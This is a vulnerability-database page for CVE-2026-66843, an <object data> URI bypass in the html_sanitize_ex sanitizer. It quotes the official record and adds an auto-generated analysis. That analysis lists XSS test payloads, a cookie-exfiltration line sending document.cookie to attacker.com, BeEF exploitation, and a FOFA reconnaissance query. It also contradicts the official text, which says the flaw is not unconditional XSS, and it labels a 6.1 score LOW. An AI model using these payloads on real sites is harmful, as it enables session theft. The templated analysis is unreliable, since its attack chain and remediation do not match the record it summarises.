CVE Professor
›
Back
CVE-2026-66843

CVE-2026-66843 — Rrrene Html Sanitize Ex (1.4.5) — CWE-829

LOW CVSS 6.1 NVD+CVE.org

CVE-2026-66843 is a LOW severity Cross-Site Scripting (XSS) vulnerability (CWE-829) (CVSS 6.1/10) affecting Rrrene Html Sanitize Ex (1.4.5). Technical vector analysis shows that an attacker can exploit this flaw remotely over the network without authentication (PR:N) requiring user interaction, posing a direct security risk to affected deployments.

📄 Official NVD / MITRE Original Record Text

Inclusion of Functionality from Untrusted Control Sphere vulnerability in the HTML5 scrubber in rrrene html_sanitize_ex allows a remote attacker to load a document of their choosing into a trusted page via the data attribute of an <object> element in sanitized HTML. object is the one URI-bearing element in lib/html_sanitize_ex/scrubber/html5.ex never registered through allow_tag_with_uri_attributes/3, and its only guard is a prefix match on lowercase "javascript:", so mixed-case variants, data: URIs, protocol-relative URLs and same-origin paths all survive. This is not unconditional cross-site scripting. A javascript: URL does not execute through <object data> in current browsers, data: documents load in an opaque origin, and host-origin script execution additionally requires the application to serve attacker-controlled content from a same-origin path. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.3.

Published 06.08.2026
ISO Date 2026-08-06
CVSS Version v4.0
Source NVD+CVE.org
CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. Present AT:P
Privileges Req. None PR:N
User Interaction Passive UI:P
Vuln. Conf. None VC:N
Vuln. Integrity None VI:N
Vuln. Avail. None VA:N
Subseq. Conf. Low SC:L
Subseq. Integ. Low SI:L
Subseq. Avail. None SA:N
AI Security Analysis & Remediation
🤖 Generating Deep AI Security Analysis…
Analyzing CVSS vector & CWE weakness structure…

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-66843
CVSS 6.1/10 · LOW · 06.08.2026
CWE: CWE-829
Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 WHAT IS THIS VULNERABILITY?
Cross-Site Scripting (XSS)
Summary: Inclusion of Functionality from Untrusted Control Sphere vulnerability in the HTML5 scrubber in rrrene html_sanitize_ex allows a remote attacker to load a document of their choosing into a trusted page via the data attribute of an <object> element in sanitized HTML. object is the one URI-bearing element in lib/html_sanitize_ex/scrubber/html5.ex never registered through allow_tag_with_uri_attrib…
Affected: rrrene:html_sanitize_ex, rrrene:html_sanitize_ex

⚡ ATTACK CHAIN
Attack steps:
1. Identify reflection points (search, comments, profile fields).
2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>
3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)
4. Stored XSS: inject persistent payload in user-controlled fields.
5. Browser exploitation via BeEF.

🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)

🌍 REAL WORLD IMPACT

🛡️ REMEDIATION
→ Apply vendor security update for rrrene:html_sanitize_ex.
→ Add CSP headers, HTML-encode all user input.
→ Pre-patch: put service behind VPN or apply IP allowlist.
→ Add WAF rule, create IDS alert for anomalous traffic.

⚠️ URGENCY
📌 Low priority — routine update sufficient.

────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="rrrene html_sanitize_ex"
CVSS Score
6.1 / 10 · CVSS LOW
Weakness Types (CWE)
CWE-829
Affected Products (2)
rrrene:html_sanitize_ex (1.4.5) rrrene:html_sanitize_ex (*)
Related CVEs
8.8
CVE-2026-133016
In JetBrains TeamCity before 2026.2.1, 2026.1.5 remote code execution was possible via script definitions in t
7.5
CVE-2026-133076
In JetBrains TeamCity before 2026.2.2, 2026.1.6 remote code execution was possible via local repository URLs i
7.2
CVE-2026-132896
In JetBrains TeamCity before 2026.2, 2026.1.4 remote code execution was possible via Kubernetes Executor setti
7.2
CVE-2026-133079
In JetBrains TeamCity before 2026.2.2, 2026.1.6 remote code execution was possible via Maven dependencies of K
9.4
CVE-2026-127143
LMS (Lan Management System) is vulnerable to privilege escalation in the lmsd daemon. The daemon loads the li
7.8
CVE-2026-131959
GNU Emacs 31.1 contains a code injection vulnerability in its handling of directory-local variables. A crafted